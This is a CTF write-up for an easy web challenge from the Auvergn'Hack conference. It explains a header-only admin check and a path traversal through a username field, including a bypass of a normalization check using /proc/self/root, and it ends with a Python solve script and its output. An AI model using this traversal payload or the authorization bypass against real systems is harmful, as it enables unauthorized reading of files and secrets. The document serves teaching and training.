Introduction
Auvergn’Hack is a cybersecurity conference held in Clermont-Ferrand, France on April 5th. This year was the first edition, and I had the chance to create a few challenges in the Web, Forensic, and Misc categories. Even though the CTF was not perfect due to infrastructure issues, it was a pleasure to see people playing and trying to solve as many challenges as possible, and to be able to answer their questions.
Hoping next one will be even better ! 🐒
Challenge description
- category : web
- difficulty : easy
- points : 200
- description :
Sometimes it's hard to manage these monkeys
Authorization Bypass
In the app.py
file, we find the following three enpoints :
@app.route('/api/users', methods=['GET'])
@app.route('/api/user/<int:user_id>', methods=['GET'])
@app.route('/api/user/<int:user_id>', methods=['PUT'])
The third one is supposed to be only accessed by an admin as mentioned in the code :
@app.route('/api/user/<int:user_id>', methods=['PUT'])
def update_user(user_id):
if 'X-Auth' not in request.headers:
return jsonify({"message": "Not admin !"}), 403
data = request.get_json()
try:
updated_user = user_manager.update_user(user_id, data)
if updated_user:
return jsonify(updated_user)
else:
return jsonify({"message": "User Not Found"}), 404
except:
return jsonify({'message':'Shit something went wrong ?'}), 500
As no proper authorization is done here, we just have to add the X-Auth
header to our request.
Path traversal
Looking further into the code reveals that management of user token files is potentially vulnerable to path traversal.
def get_user_token(storage_path,user):
user_id = user['id']
user_username = user['username']
data=''
path = safe_path(f'{storage_path}/secrets/{user_id}_{user_username}')
if path != '':
if not os.path.exists(path):
return generate_token(path)
else:
with open(path,'r') as f:
data = f.read()
return data
As we can see above, by providing a malicious username like /../../../../../../flag.txt
, we can change our token location to read the flag.
However, the following safe_path()
function must be bypassed :
def safe_path(path):
norm_path = os.path.normpath(path)
if norm_path.count('/') < 3:
print("! Not Possible here !")
return ''
return norm_path
This code normalizes a given file path, meaning the return path will be an absolute path. Moreover, the result path must contain at least three directories.
>>> os.path.normpath('/data/secrets/../../../../flag.txt')
'/flag.txt' # not accepted because only 1 slash
The goal is to find an absolute path on linux that points to the root filesystem and have the proper number of directory.
The technique is to use /proc/self/root
that refers directly to the root directory.
$ cat /proc/self/root/flag.txt
ZiTF{}
Exploit Script
The final step is finding the admin user from the /api/users
endpoint, then updating the username with the previous trick and adding the proper header.
#!/usr/bin/python3
import requests
TARGET = "http://127.0.0.1:8000/"
def get_users():
r = requests.get(url=TARGET+"api/users")
users = r.json()
return users
def find_admin(users):
admin = [user for user in users if user['role'] == 'admin'][0]
if admin is None:
print("[*] No admin found ! ")
exit()
return admin
def path_traversal(user):
payload = "/../../../../../../proc/self/root/flag.txt"
user['username'] = payload
r = requests.put(url=TARGET+f"/api/user/{user['id']}",json=user,headers={"X-Auth":"FakeData"})
print(r.json())
if __name__ == '__main__':
print("[*] Fetch users")
users = get_users()
admin_user = find_admin(users)
print("[*] Admin user found")
print(admin_user)
print("[*] Exploit path traversal")
path_traversal(admin_user)
$ python ./solve.py
[*] Fetch users
[*] Admin user found
{'description': 'A playful monkey cooking exotic dishes.', 'id': 34, 'role': 'admin', 'username': 'peanut.treehopper'}
[*] Exploit path traversal
{'description': 'A playful monkey cooking exotic dishes.', 'id': 34, 'role': 'admin', 'token': 'ZiTF{}', 'username': '/../../../../../../proc/self/root/flag.txt'}